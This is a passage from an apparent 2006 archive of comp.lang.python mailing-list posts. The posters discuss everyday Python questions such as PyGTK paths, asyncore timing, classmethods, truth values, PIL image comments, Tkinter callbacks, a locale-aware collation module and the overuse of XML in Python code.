file I/O, interfacing to 8-bit-wide channels? Use > > bytes. > > But can I use regular expressions on bytes? > Regular expressions are not limited to text. So why haven't you been campaigning for regular expression support for sequences of int, and for various array.array subtypes? From fulvio at tm.net.my Sat Oct 21 06:14:58 2006 From: fulvio at tm.net.my (Fulvio) Date: Sat, 21 Oct 2006 18:14:58 +0800 Subject: Pygtk but no gtk? In-Reply-To: <45391D15.3010906@rpath.com> References: <1161370274.621757.299970@m73g2000cwd.googlegroups.com> <45391D15.3010906@rpath.com> Message-ID: <200610211814.58662.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Saturday 21 October 2006 03:01, Jonathan Smith wrote: > my pygtk provides > /usr/lib/python2.4/site-packages/gtk-2.0/gtk/__init__.py, which contains > the gtk module Great advice. I've tried >: $ ls /usr/lib/python2.4/site-packages/gtk-2.0 atk.so dsextras.py dsextras.pyc dsextras.pyo gobject.so gtk pangocairo.so pango.so So, I found some problem related this, would you please post the content of that file? NOTE there's one more directory in that position and has its own __init__. F From exarkun at divmod.com Thu Oct 19 13:21:44 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Thu, 19 Oct 2006 13:21:44 -0400 Subject: Converting existing module/objects to threads In-Reply-To: <7.0.1.0.0.20061019134634.05a3eac8@yahoo.com.ar> Message-ID: <20061019172144.26151.483656110.divmod.quotient.7147@ohm> On Thu, 19 Oct 2006 14:09:11 -0300, Gabriel Genellina wrote: >At Thursday 19/10/2006 00:01, jdlists at gmail.com wrote: >> > Consider using the asyncore module instead of threads. >> >>I think that is a good point and I am considering using >>asyncore/asynchat... i'm a little confused as to how i can make this >>model work. There is no server communication without connection from >>the client (me), which happens on intervals, not when data is available >>on a socket or when the socket is available to be written, which is >>always. Basically i need to determine how to trigger the asynchat >>process based on time. in another application that i write, i'm the >>server and the chat process happens every time the client wakes >>up...easy and perfect for asyncore >> >>That is a solution i'd like to persue, but am having a hard time >>getting my head around that as well. > >You have to write your own dispatcher (inheriting from async_chat) as any >other protocol. You can call asyncore.loop whith count=1 (or 10, but not >None, so it returns after a few iterations) inside your *own* loop. Inside >your loop, when time comes, call your_dispatcher.push(data) so the channel >gets data to be sent. Override collect_incoming_data() to get the response. >You can keep your pending requests in a priority queue (sorted by time) and >check the current time against the top element's time. You could also use Twisted, which provides time-based primitives in addition to supporting network multiplexing without threads. Jean-Paul From daniel.huangfei at gmail.com Fri Oct 13 02:25:58 2006 From: daniel.huangfei at gmail.com (daniel) Date: 12 Oct 2006 23:25:58 -0700 Subject: always raise syntax error! Message-ID: <1160720758.730483.56680@i42g2000cwa.googlegroups.com> I'm not quite new to this language, but such error has never happened so frequently before. I have no idea what to do about it, because there's actually no syntax error at all !! I'm using python 2.4.3 on windows, with gvim.. I realize this might because of the tab and space, so I use listchars in vim to all my tabs and trailing spaces visible, make sure they are used consistently, but python still raise syntax error, no further description, and just make no sense to me. anyone heard of such issue or the like before? many thanks.... daniel From horpner at yahoo.com Mon Oct 16 11:09:24 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 16 Oct 2006 17:09:24 +0200 Subject: Strange Behavior References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com> Message-ID: On 2006-10-16, Steven D'Aprano wrote: > Well, it's a bug in your code :) > > It isn't a bug in Python. At worst, it is a "gotcha", but it is > a deliberate design decision, and quite useful. For example, > this is good for caching complicated calculations: I'd say the feature is "usable" rather than "useful", like bitfields in C. -- Neil Cerutti Next Sunday Mrs. Vinson will be soloist for the morning service. The pastor will then speak on "It's a Terrible Experience." --Church Bulletin Blooper From ptmcg at austin.rr._bogus_.com Sun Oct 1 22:05:03 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Mon, 02 Oct 2006 02:05:03 GMT Subject: changing numbers to spellings References: <1159673078.254161.97850@k70g2000cwa.googlegroups.com> Message-ID: "Steve Holden" wrote in message news:mailman.1026.1159679410.10491.python-list at python.org... > flyingisfun1217 at gmail.com wrote: >> Hey, >> >> Sorry to bother everybody again, but this group seems to have quite a >> few knowledgeable people perusing it. >> >> Here's my most recent problem: For a small project I am doing, I need >> to change numbers into letters, for example, a person typing in the >> number '3', and getting the output 'Three'. So far, I have an interface >> that only collects numbers (or letters), and displays them in a text >> variable label (as you can see below). Heres the code I have: >> >> +--------------------------------+-----------------------------------+ >> >> var=StringVar() >> >> def collect(): >> var.set(entrybox.get()) >> >> spelledentry=Label(root, textvariable=var) >> spelledentry.grid(row=5, column=1) >> >> filler1=Label(root, text=" ") >> filler1.grid(row=0, column=0) >> >> titletext=Label(root, text="NumberSpeller2") >> titletext.grid(row=0, column=1) >> >> filler2=Label(root, text=" ") >> filler2.grid(row=0, column=2) >> >> filler3=Label(root, text="\n") >> filler3.grid(row=1, column=0) >> >> entrybox=Entry(root) >> entrybox.grid(row=1, column=1, sticky=N) >> >> enterbutton=Button(root, text="Spell!", command=collect) >> enterbutton.grid(row=3, column=1, sticky=N) >> >> filler4=Label(root, text="") >> filler4.grid(row=4, column=1) >> >> filler5=Label(root, text="") >> filler5.grid(row=6, column=1) >> >> website=Label(root, text="Visit the NS2 Website") >> website.grid(row=7, column=1, sticky=S) >> >> +-------------------------------------+----------------------------------------+ >> >> Like I explained a little before, I need to keep users from entering >> any letters, and I need to have the numbers they typed in translated to >> text. >> >> Can someone explain how I could go across doing this? >> > You should get some clue about the number conversion (not to menion a > bunch of code you can lift :) from > > http://www.python.org/pycon/dc2004/papers/42/ex1-C/num2eng.py > > regards > Steve > -- > Steve Holden +44 150 684 7255 +1 800 494 3119 > Holden Web LLC/Ltd http://www.holdenweb.com > Skype: holdenweb http://holdenweb.blogspot.com > Recent Ramblings http://del.icio.us/steve.holden > ... and pyparsing has an example that goes from words back to numbers! http://pyparsing.wikispaces.com/space/showimage/wordsToNum.py -- Paul From sjmachin at lexicon.net Sat Oct 7 09:13:54 2006 From: sjmachin at lexicon.net (John Machin) Date: 7 Oct 2006 06:13:54 -0700 Subject: Names changed to protect the guilty In-Reply-To: <1160226305.351361.179110@h48g2000cwc.googlegroups.com> References: <1160226305.351361.179110@h48g2000cwc.googlegroups.com> Message-ID: <1160226834.146605.233730@i3g2000cwc.googlegroups.com> John Roth wrote: > Aahz wrote: > > The following line of lightly munged code was found in a publicly > > available Python library... > > > > if schema.elements.has_key(key) is False: > > > > Sorry, just had to vent. > > -- > > Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ > > Uh, guys. IMO, the clearest way of writing this is: > > if key not in schema.elements: > whatever... > Uh, guys, what? You are the 3rd to make that point. Therefore it must be true. > Unless, of course, your code has to run in a > Python release earlier than 2.2. But then you > wouldn't be testing for the False object anyway. > > > > John Roth From onurb at xiludom.gro Wed Oct 25 11:59:10 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 17:59:10 +0200 Subject: class method question In-Reply-To: References: Message-ID: <453f89cf$0$23953$426a74cc@news.free.fr> Sylvain Ferriol wrote: > hello > can you explain why python does not see difference between instance > method and class method, having the same name Because class namespaces are dicts, and you can't have duplicate keys in dicts. It's totally unrelated to class/instance method distinction (try with any kind of attribute, you'll get the same result : only the last attribute is kept). > example >>>> class toto(object): > ... def f(self): > ... print('instance method') > > ... @classmethod > ... def f(cls): > ... print('class method') >>>> t=toto() >>>> t.f > > >>>> t.f() > class method >>>> toto.f() > class method Also note that Python classmethods can be called on instances. Here you're calling the same function twice. A python object is a data structure holding references to other objects. One of these references points to a dict (named __dict__) storing the object's own attributes ('instance' attributes), and another one (named __class__) points to the class object - which is itself an object that holds references to it's parent classes. When a name is looked up on an object, the name is first looked up in the object's __dict__, then in the class, then in the class's parent classes... If you want a Ruby-like behaviour, it's still possible, but you have to do it by manually: import types class Rubysh(object): @classmethod def test(cls): print "in classmethod test, cls : %s" % cls def __init__(self): def test(self): print "in instance method test, self : %s" % self self.test = types.MethodType(test, self, self.__class__) Rubysh.test() r = Rubysh() r.test() Also note that most python programmers may find this a bit confusing, since they'd expect Rubish.test() and r.test() to resolve to the same attribute... > > if i do the same in ruby: You're not "doing the same", you're doing something that *looks* the same. While they look quite similar at first sight - and indeed share a lot of characteristics (lightweight, highly dynamic, hi-level object languages) -, Python and Ruby are very different beasts under the hood. So beware : superficial similarities can hide very different meanings and behaviours. HTH -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From jeff_barish at earthlink.net Mon Oct 30 22:25:56 2006 From: jeff_barish at earthlink.net (Jeffrey Barish) Date: Mon, 30 Oct 2006 20:25:56 -0700 Subject: Adding a comment to an image using PIL Message-ID: I am trying to use PIL to add a comment to an image. I have never used PIL before, but I discovered that it is possible to print an existing comment with the following: im = PIL.Image.open('filename.jpg') print im.app['COM'] I figured that I could write a comment by reversing this procedure: im.app['COM'] = 'New comment' im.save('newfilename.jpg') However, when I open newfilename.jpg, I find that key 'COM' does not exist -- the comment is not being written. Presumably, I am doing something wrong. -- Jeffrey Barish From apardon at forel.vub.ac.be Fri Oct 27 05:16:57 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 09:16:57 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-26, Steven D'Aprano wrote: > On Wed, 25 Oct 2006 19:19:59 +0000, John Salerno wrote: > >> Oh!!! I get it now! I was thinking that >> >> if s >> >> was the same as >> >> if s == True > > No. But you know that now :) > >> because I know sometimes you can write if statements this way (though >> it's wordy). > > You can, but shouldn't. > > >> But what I didn't realize was that in the cases I was >> thinking of, 's' was an expression that evaluated to a boolean value, >> not an actual value of some other type! >> >> So I suppose >> >> if (10 > 5) > > Is the same as: > > if True > > because (10 > 5) evaluates as True. > > >> would be the same as >> >> if (10 > 5) == True > > Did you mean > > if (10 > 5) == True == True > > or > > if (10 > 5) == True == True == True > > or even > > if (10 > 5) == True == True == True == True > > I hope you see my point now. > > >> because (10 > 5) does evaluate to "True". > > I think it is a good time to remind people of some extremely well-thought > out opposition to the introduction of bools to Python from Laura Creighton: > > http://mail.python.org/pipermail/python-list/2002-April/095878.html > > She lost the debate, Guido had the final word and Python now has bools. > Take particular note of her description of Python distinguishing between > Something ("cat", 4, [0, 1, 2] etc) and Nothing ("", 0, [] etc). Yes and IMO that is a less usefull distinction than the distinction between True and False. When I write code I think in terms of conditions. In those conditions this has to be treated this way otherwise it has to be treated an other way. Conditions give results that are either True or False, not Something or Nothing. I don't think of 10 > 5 as Something while 5 < 10 would be Nothing. So while the paradigma of the language may be the distinction of Something vs Nothing the programmer will often enough think in terms of True and False. So IMO it would have been better if python had made the distinction between True and False and so made the programmer code the Something/Nothing disctinction explicitly. -- Antoon Pardon From mail at microcorp.co.za Wed Oct 25 02:35:22 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 25 Oct 2006 08:35:22 +0200 Subject: Tkinter question References: <20061023180741.71666.qmail@web56002.mail.re3.yahoo.com> Message-ID: <027001c6f805$fdd8b300$03000080@hendrik> "Fredrik Lundh" wrote: > Eric Brunel wrote: > > > But Hendrik's solution is better, since it avoids the use of lambda, which > > is often difficult to understand. > > storing the button reference in a variable doesn't help if you want to use the > same callback for multiple buttons, though... > > I can't see how to use it for that - on the other hand, it enables you to use the same button for different things at different times by re configuring the command binding... This can be used as a sort of "state machine" to keep track of what the user is doing - changing button text, colour and command binding from "On", "green" and onOn to "Off", "red" and onOff... In my current project this style has developed to a point where onOn would change the colour,etc, as well as setting up a deferred callback to onOnTimeout, and firing off a message to the hardware in the field. A response from the successful completion is then used to call onOnEnd, which cancels the timed callback. onOnTimeout does emergency stuff because something did not work, as onOnEnd was not called... It is a bit more complex than the above - as there are intermediate "grey out" states - but the above illustrates the principle simply. It seems to work quite robustly, and I am also developing a Simple Distributed Control Language - SDCL (tm) , to do the work on the small micros in the field, tying everything together. - It was fun and almost indecently easy to write a one pass "compiler" resolving forward references on the fly in Python - more of an assembler, really - and no trace of lexx or yacc or bison - just a few lines of Python code - but I digress... And yes I know what SDLC is... *WEG* - Hendrik From jweida at gmail.com Tue Oct 17 13:53:05 2006 From: jweida at gmail.com (Jerry) Date: 17 Oct 2006 10:53:05 -0700 Subject: external file closed In-Reply-To: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> Message-ID: <1161107585.523458.252700@m73g2000cwd.googlegroups.com> On Oct 17, 12:43 pm, "kilnhead" wrote: > I am opening a file using os.start('myfile.pdf') from python. How can I > know when the user has closed the file so I can delete it? Thanks. I assume you mean os.startfile. There is no way to do this directly. os.startfile simply hands off the call to the OS and doesn't provide anything to track anything after that. Since you won't know what program handled the file association, you couldn't watch for an instance of that to start up and detect when it exits. Even if you could, it wouldn't be reliable as in the case of PDF's and Adobe Acrobat Reader, the user could close the document, but not the application, so your script would never delete the file in question. If anyone can think of a way to do this, it would be interesting to see how it's done. -- Jerry From fredrik at pythonware.com Tue Oct 10 04:42:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 10:42:00 +0200 Subject: does raw_input() return unicode? In-Reply-To: <463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com> References: <12iln7en9ipit77@corp.supernews.com> <452b5190$0$29833$9b622d9e@news.freenet.de> <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com> <463ff4860610100132p69059b46s4f6d8297ba382a7c@mail.gmail.com> Message-ID: Theerasak Photha wrote: > Practically speaking, at the heart of the matter: as of Python 2.5 > final, does or can raw_input() return Unicode under the appropriate > circumstances, according to user wishes? didn't Martin just answer that question? From pavlovevidence at gmail.com Sun Oct 29 02:31:23 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 29 Oct 2006 00:31:23 -0700 Subject: question about True values In-Reply-To: References: <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <1161973508.972142.109500@i42g2000cwa.googlegroups.com> <1162031090.711952.228280@m7g2000cwm.googlegroups.com> Message-ID: <1162107083.907729.127120@f16g2000cwb.googlegroups.com> Steven D'Aprano wrote: > Carl Banks: > > Overall, your objections don't really apply, since you're arguing what > > ought to be whereas my argument is pragmatic. Practically speaking, in > > realistic situations, "if len(a)>0" will work for a wider range of types > > than "if a:". > > Well, that's a quantitative claim you're making there. Have you > actually gone through, say, the built in types and checked how many > have a length versus how many work in a truth-context? No, and it's irrelevant to my argument. For some reason, people seem to think it's absolutely wonderful that you can write "if X:" somewhere, and that this "works" whether X is a list or an int or any other object, as if "working" for both ints and lists was actually useful. Well, it's not. You see, presumably you have to do something with X. And in realistic code, there's not a lot of stuff you can do with that works for both container types like lists and dict, and atomic types like ints and floats. All you could do is call generic object protocol stuff like id() or str(). There's some odd operations that can work for both a container and an atomic (addition); even so, it's rare that a given piece of code would actually be useful for both containers and atomics. (I mean, you could pass lists into a function such as the following, but would it be useful?) def binomial3(a,b,c,d): return a + 3*b + 3*c + d What I'm saying is, the fact that "if X:" "works" for almost any type is big ol' red herring. The only thing that really matters is if it works for types that _actually have some realistic overlapping uses_. So let's do your little exercise keeping that in mind. Let's look at realistic uses of containers. Suppose we have a function such as this: def f(X): if not X: return do_some_indexing(X[2],X[4]) We see that we subscript X. Now, you can't subscript an int, so if we're going to count number of types that support "if a:" versus the number that support "if len(a)>0", we're not going to consider ints. When deciding whether we should go with "if a:" or "if len(a)>0", we should only count types that support indexing. Objects that support indexing and work with "if a:": lists,tuples,dicts,strings,xrange,collections.deque,array.array Objects that support indexing and work with "if len(a)>0": lists,tuples,dicts,strings,xrange,collections.deque,array.array ... numpy arrays Another thing containers do a lot is iteration. Objects that support iteration and work with "if a:" lists,tuples,dicts,sets,strings,xrange,collections.deque,array.array Objects that support iteration and work with "if len(a)>0:" lists,tuples,dicts,sets,strings,xrange,collections.deque,array.array ... numpy arrays What can we conclude? If you're indexing or iterating, "if a:" and "if len(a)>0:" are equally successful for built-in types, but "if len(a)>0:" also works for numpy arrays. If your only measure of success is how many classes the emptiness tests works for, then "if len(a)>0:" wins. This is just an example; we haven't looked at all possible uses of containers. There will be a few cases where "if a:" works but "if len(a)>0:" doesn't. But it should be pretty clear where this is headed. So the question is: Do you want use "if len(a)>0:", so that in a lot of cases your code can also work if someone wants to use a popular third party package? Or do you want to use "if a:", so that in rare cases your code could also work with some builtin atomic types? Carl Banks From fredrik at pythonware.com Thu Oct 19 02:49:29 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Thu, 19 Oct 2006 08:49:29 +0200 Subject: Getting method name from within the class method In-Reply-To: References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> <20061018145926.0e8d3277@opal.pathscale.com> <1161210607.901928.26430@e3g2000cwe.googlegroups.com> <7.0.1.0.0.20061018200044.03588168@yahoo.com.ar> Message-ID: > on that on what From paddy3118 at netscape.net Fri Oct 13 22:40:54 2006 From: paddy3118 at netscape.net (Paddy) Date: 13 Oct 2006 19:40:54 -0700 Subject: Standard Forth versus Python: a case study References: <1160629438.895503.225980@c28g2000cwb.googlegroups.com> Message-ID: <1160793654.283357.282450@b28g2000cwb.googlegroups.com> werty wrote: > Apples/oranges ? programmers are making very little $$ today . > Thats software ! No one is makin money on obsolete Forth , > so why a comparisom ? > > Ultimately the best OpSys will be free and millions of lines of code > obsoleted . Because no one can protect intellectual property , its > simply too costly for a Government to do this . > > Notice the crypto fiasco , the USA govt forbad export of SSL and > in short order Australia gave the world a free SSLeasy ! > > This is software . No one will , for long , own software . > Microsoft and Linux will die in 24 months . No hardware will > produce money/profits using them . > > Because we have a new hardware competitor , that obsoletes the BIOS > chip , North bridge/South bridge USB helpers , NICs . > No mo PNP (Plug_and_Pray) . > In 2 chips ( CPU /SoC and LCD controller) it will be faster than > a PC . 100's have allready written HDD drivers and haven't yet > free'd them . But when others give free , what good do it to > hold yours ! You look stupid selling what others improve and > free . Trying to sell what others find easy to create ! > Intel made hardware too hard to program , ARM is easy . > Python wont last on ARM , for WCE and Linux will be tossed . > A simpler structured method will be used to customise > Browsers . There will be 2 columns , one on left will be main/orig > but on the Right will have hyperlink result . This way ya dont have > to go back to compare ! side by side . > Text editors will also work this way . You will read orig in left > columns > and 'edit'/annotate your stuff to the Right columns . > > Sun microsystems et all ( the ones we seldom think about ) will > all be obsoleted , bankrupted , their hardware surplused . > No more h/w servers . > There will be no high speed 64 bit boxes in the future . > The Pocket PC will do work you could not imagine ! > All will have 100 GB HDD , VGA LCD , USBH/USBD , WIFI N > and no WERTY keyboard ! full GUI ... > ethernet and firewire and rs232 will die > > Why not "see" the future ? > No Linux ,no WXP , no C+ , no PC ..... Hah! This is the output from a program and I claim my prize. :-) From rrr at ronadam.com Wed Oct 18 02:42:45 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 01:42:45 -0500 Subject: Flexable Collating (feedback please) Message-ID: <35kZg.6681$fl.2685@dukeread08> I put together the following module today and would like some feedback on any obvious problems. Or even opinions of weather or not it is a good approach. While collating is not a difficult thing to do for experienced programmers, I have seen quite a lot of poorly sorted lists in commercial applications, so it seems it would be good to have an easy to use ready made API for collating. I tried to make this both easy to use and flexible. My first thoughts was to try and target actual uses such as Phone directory sorting, or Library sorting, etc., but it seemed using keywords to alter the behavior is both easier and more flexible. I think the regular expressions I used to parse leading and trailing numerals could be improved. They work, but you will probably get inconsistent results if the strings are not well formed. Any suggestions on this would be appreciated. Should I try to extend it to cover dates and currency sorting? Probably those types should be converted before sorting, but maybe sometimes it's useful not to? Another variation is collating dewy decimal strings. It should be easy to add if someone thinks that might be useful. I haven't tested this in *anything* yet, so don't plug it into production code of any type. I also haven't done any performance testing. See the doc tests below for examples of how it's used. Cheers, Ron Adam """ Collate.py A general purpose configurable collate module. Collation can be modified with the following keywords: CAPS_FIRST -> Aaa, aaa, Bbb, bbb HYPHEN_AS_SPACE -> Don't ignore hyphens UNDERSCORE_AS_SPACE -> Underscores as white space IGNORE_LEADING_WS -> Disregard leading white space NUMERICAL -> Digit sequences as numerals COMMA_IN_NUMERALS -> Allow commas in numerals * See doctests for examples. Author: Ron Adam, ron at ronadam.com, 10/18/2006 """ import re import locale locale.setlocale(locale.LC_ALL, '') # use current locale settings # The above line may change the string constants from the string # module. This may have unintended effects if your program # assumes they are always the ascii defaults. CAPS_FIRST = 1 NUMERICAL = 2 HYPHEN_AS_SPACE = 4 UNDERSCORE_AS_SPACE = 8 IGNORE_LEADING_WS = 16 COMMA_IN_NUMERALS = 32 class Collate(object): """ A general purpose and configurable collator class. """ def __init__(self, flag): self.flag = flag def transform(self, s): """ Transform a string for collating. """ if self.flag & CAPS_FIRST: s = s.swapcase() if self.flag & HYPHEN_AS_SPACE: s = s.replace('-', ' ') if self.flag & UNDERSCORE_AS_SPACE: s = s.replace('_', ' ') if self.flag & IGNORE_LEADING_WS: s = s.strip() if self.flag & NUMERICAL: if self.flag & COMMA_IN_NUMERALS: rex = re.compile('^(\d*\,?\d*\.?\d*)(\D*)(\d*\,?\d*\.?\d*)', re.LOCALE) else: rex = re.compile('^(\d*\.?\d*)(\D*)(\d*\.?\d*)', re.LOCALE) slist = rex.split(s) for i, x in enumerate(slist): if self.flag & COMMA_IN_NUMERALS: x = x.replace(',', '') try: slist[i] = float(x) except: slist[i] = locale.strxfrm(x) return slist return locale.strxfrm(s) def __call__(self, a, b): """ This allows the Collate class work as a sort key. USE: list.sort(key=Collate(flags)) """ return cmp(self.transform(a), self.transform(b)) def collate(slist, flags=0): """ Collate list of strings in place. """ return slist.sort(Collate(flags)) def collated(slist, flags=0): """ Return a collated list of strings. This is a decorate-undecorate collate. """ collator = Collate(flags) dd = [(collator.transform(x), x) for x in slist] dd.sort() return list([B for (A, B) in dd]) def _test(): """ DOC TESTS AND EXAMPLES: Sort (and sorted) normally order all words beginning with caps before all words beginning with lower case. >>> t = ['tuesday', 'Tuesday', 'Monday', 'monday'] >>> sorted(t) # regular sort ['Monday', 'Tuesday', 'monday', 'tuesday'] Locale collation puts words beginning with caps after words beginning with lower case of the same letter. >>> collated(t) ['monday', 'Monday', 'tuesday', 'Tuesday'] The CAPS_FIRST option can be used to put all words beginning with caps after words beginning in lowercase of the same letter. >>> collated(t, CAPS_FIRST) ['Monday', 'monday', 'Tuesday', 'tuesday'] The HYPHEN_AS_SPACE option causes hyphens to be equal to space. >>> t = ['a-b', 'b-a', 'aa-b', 'bb-a'] >>> collated(t) ['aa-b', 'a-b', 'b-a', 'bb-a'] >>> collated(t, HYPHEN_AS_SPACE) ['a-b', 'aa-b', 'b-a', 'bb-a'] The IGNORE_LEADING_WS and UNDERSCORE_AS_SPACE options can be used together to improve ordering in some situations. >>> t = ['sum', '__str__', 'about', ' round'] >>> collated(t) [' round', '__str__', 'about', 'sum'] >>> collated(t, IGNORE_LEADING_WS) ['__str__', 'about', ' round', 'sum'] >>> collated(t, UNDERSCORE_AS_SPACE) [' round', '__str__', 'about', 'sum'] >>> collated(t, IGNORE_LEADING_WS|UNDERSCORE_AS_SPACE) ['about', ' round', '__str__', 'sum'] The NUMERICAL option orders leading and trailing digits as numerals. >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2'] >>> collated(t, NUMERICAL) ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2'] The COMMA_IN_NUMERALS option ignores commas instead of using them to seperate numerals. >>> t = ['a5', 'a4,000', '500b', '100,000b'] >>> collated(t, NUMERICAL|COMMA_IN_NUMERALS) ['500b', '100,000b', 'a5', 'a4,000'] Collating also can be done in place using collate() instead of collated(). >>> t = ['Fred', 'Ron', 'Carol', 'Bob'] >>> collate(t) >>> t ['Bob', 'Carol', 'Fred', 'Ron'] """ import doctest doctest.testmod() if __name__ == '__main__': _test() From g.brandl-nospam at gmx.net Mon Oct 23 17:00:06 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Mon, 23 Oct 2006 23:00:06 +0200 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: References: Message-ID: Michael Spencer wrote: > Georg Brandl wrote: >> Michael Spencer wrote: >>> Announcing: compiler2 >>> --------------------- >>> >>> For all you bytecode enthusiasts: 'compiler2' is an alternative to the standard >>> library 'compiler' package, with several advantages. >> >> Is this a rewrite from scratch, or an improved stdlib compiler package? >> >> In the latter case, maybe you can contribute some patches to the core. >> >> Georg > > Georg > > It started as the latter (i.e., the stdlib compiler package improved) and > proceeded via incremental change with the twin goals of generating correct > object code and creating a clean compiler architecture (the latter somewhat > subjective of course). I'd be happy in principle to contribute the work, but > the sum of the changes amounts to a substantial re-write, so I don't think it > can be meaningfully submitted as a patch. Perhaps you can bring up a discussion on python-dev about your improvements and how they could be integrated into the standard library... Georg From steve at REMOVE.THIS.cybersource.com.au Mon Oct 23 08:53:06 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Mon, 23 Oct 2006 22:53:06 +1000 Subject: Customize the effect of enumerate()? References: <1161391519.145292.249510@i42g2000cwa.googlegroups.com> <1161557776.637735.92650@k70g2000cwa.googlegroups.com> Message-ID: On Sun, 22 Oct 2006 15:56:16 -0700, Simon Forman wrote: > Dustan wrote: >> Can I make enumerate(myObject) act differently? >> >> class A(object): >> def __getitem__(self, item): >> if item > 0: >> return self.sequence[item-1] >> elif item < 0: >> return self.sequence[item] >> elif item == 0: >> raise IndexError, "Index 0 is not valid." >> else: >> raise IndexError, "Invalid Index." >> def __iter__(self): return iter(self.sequence) > > That final else clause is a little funny... What kind of indices are > you expecting that will be neither less than zero, greater than zero, > or equal to zero? Possible a NaN value? Maybe a class instance with strange comparison methods? Personally, I don't like the error message. "Invalid index" doesn't really tell the caller what went wrong and why it is an invalid index. If I were programming that defensively, I'd write: if item > 0: return self.sequence[item-1] elif item < 0: return self.sequence[item] elif item == 0: raise IndexError, "Index 0 is not valid." else: print repr(item) raise ThisCanNeverHappenError("Congratulations! You've discovered " "a bug that can't possibly occur. Contact the program author for " "your reward.") I know some programmers hate "Can't happen" tests and error messages, but if you are going to test for events that can't possibly happen, at least deal with the impossible explicitly! -- Steven. From bj_666 at gmx.net Fri Oct 27 12:28:48 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Fri, 27 Oct 2006 18:28:48 +0200 Subject: importing class References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com> Message-ID: In <1161966120.828597.57280 at b28g2000cwb.googlegroups.com>, gmarkowsky wrote: > Hi all, > > I'm trying to import a class from a module. The class looks like this: > class App: > > def __init__(self, master): > > frame = Frame(master) > frame.pack() > > self.button = Button(frame, text=text_1, command= self.comm_1) > self.button.pack(side=LEFT) > > self.hi_there = Button(frame, text=text_2, command=self.comm_2) > self.hi_there.pack(side=LEFT) > > def comm_1(self): > command1() > root.quit() > > def comm_2(self): > command2() > root.quit() > > It's supposed to just make a Tkinter window with two choices. The > problem is that when I import it from a module, I get the following > error: > > NameError: global name 'Frame' is not defined > > But when I copy and paste it into the file, it works. Can anyone tell > me what's wrong? Yes, the global name `Frame` is not defined. `Frame` is a name in the `Tkinter` module and you have to import it to reference it. Add the following import statement to your file: from Tkinter import Frame, Button You use `Button` too and this also lives in the `Tkinter` module. Ciao, Marc 'BlackJack' Rintsch From scott.daniels at acm.org Fri Oct 13 12:38:24 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Fri, 13 Oct 2006 09:38:24 -0700 Subject: sufficiently pythonic code for testing type of function In-Reply-To: <452cd0df$0$11417$426a74cc@news.free.fr> References: <452cab5d$0$5294$426a74cc@news.free.fr> <463ff4860610110137s6c2f7e5bgca6a02a6d42ec1c1@mail.gmail.com> <452cd0df$0$11417$426a74cc@news.free.fr> Message-ID: <452fb8cf$1@nntp0.pdx.net> Bruno Desthuilliers wrote: > ... idempotent -> no side effects. Nope. idempotent: f(f(x)) = f(x) That is, after doing it once, repeating it won't hurt. --Scott David Daniels scott.daniels at acm.org From johnjsal at NOSPAMgmail.com Wed Oct 11 10:28:31 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 11 Oct 2006 14:28:31 GMT Subject: How to write Smart Python programs? In-Reply-To: <452cae13$0$24783$426a74cc@news.free.fr> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Googling for "python is not java" may be a good start. I have a question about this section of a blog with that title. I'll ask the question first so it doesn't get lost at the bottom: does the following opinion of XML apply to GUIs? (i.e., using an XML resource to define a GUI layout rather than coding it yourself). Thanks. ---------------------------------------------- XML is not the answer. It is not even the question. To paraphrase Jamie Zawinski on regular expressions, "Some people, when confronted with a problem, think "I know, I'll use XML." Now they have two problems." This is a different situation than in Java, because compared to Java code, XML is agile and flexible. Compared to Python code, XML is a boat anchor, a ball and chain. In Python, XML is something you use for interoperability, not your core functionality, because you simply don't need it for that. In Java, XML can be your savior because it lets you implement domain-specific languages and increase the flexibility of your application "without coding". In Java, avoiding coding is an advantage because coding means recompiling. But in Python, more often than not, code is easier to write than XML. And Python can process code much, much faster than your code can process XML. (Not only that, but you have to write the XML processing code, whereas Python itself is already written for you.) If you are a Java programmer, do not trust your instincts regarding whether you should use XML as part of your core application in Python. If you're not implementing an existing XML standard for interoperability reasons, creating some kind of import/export format, or creating some kind of XML editor or processing tool, then Just Don't Do It. At all. Ever. Not even just this once. Don't even think about it. Drop that schema and put your hands in the air, now! If your application or platform will be used by Python developers, they will only thank you for not adding the burden of using XML to their workload. (The only exception to this is if your target audience really really needs XML for some strange reason. Like, they refuse to learn Python and will only pay you if you use XML, or if you plan to give them a nice GUI for editing the XML, and the GUI in question is 